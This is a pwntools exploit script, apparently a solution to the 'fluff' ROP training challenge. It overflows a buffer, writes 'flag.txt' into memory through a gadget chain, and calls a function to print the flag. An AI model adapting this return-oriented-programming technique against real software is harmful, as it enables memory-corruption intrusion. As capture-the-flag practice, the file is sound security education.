50 lines
1.1 KiB
Python
Executable File
50 lines
1.1 KiB
Python
Executable File
#!/usr/bin/env python3
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from pwn import *
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letter_lookups = {
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'f' : 0x00000000004003c4,
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'l' : 0x0000000000400239,
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'a' : 0x00000000004003d6,
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'g' : 0x00000000004003cf,
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'.' : 0x0000000000400251,
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't' : 0x0000000000400192,
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'x' : 0x0000000000400246}
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def write_str(dest, string, payload):
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payload += p64(0x00000000004006a3)
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payload += p64(dest)
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for c in string:
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payload += p64(0x40062a)
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payload += p64(0x4000) # if things go wrong, check endian/order
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payload += p64(letter_lookups[c] - 0x3ef2)
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payload += p64(0x0000000000400610)
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payload += p64(0)
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payload += p64(0x400628)
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payload += p64(0x400639)
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return(payload)
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prog = gdb.debug('./fluff', gdbscript='''
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break *pwnme + 151
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'''
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)
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payload = b''
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for c in range(40):
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payload += b'a'
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payload = write_str(0x0000000000600df0 + 0x00000df0, 'flag.txt', payload)
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payload += p64(0x00000000004006a3)
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payload += p64(0x601be0) # set rdi
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payload += p64(0x0000000000400510)
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payload += b"\n"
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prog.sendline(payload)
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sleep(1)
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print(str(prog.recv(), 'UTF-8'))
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prog.interactive()
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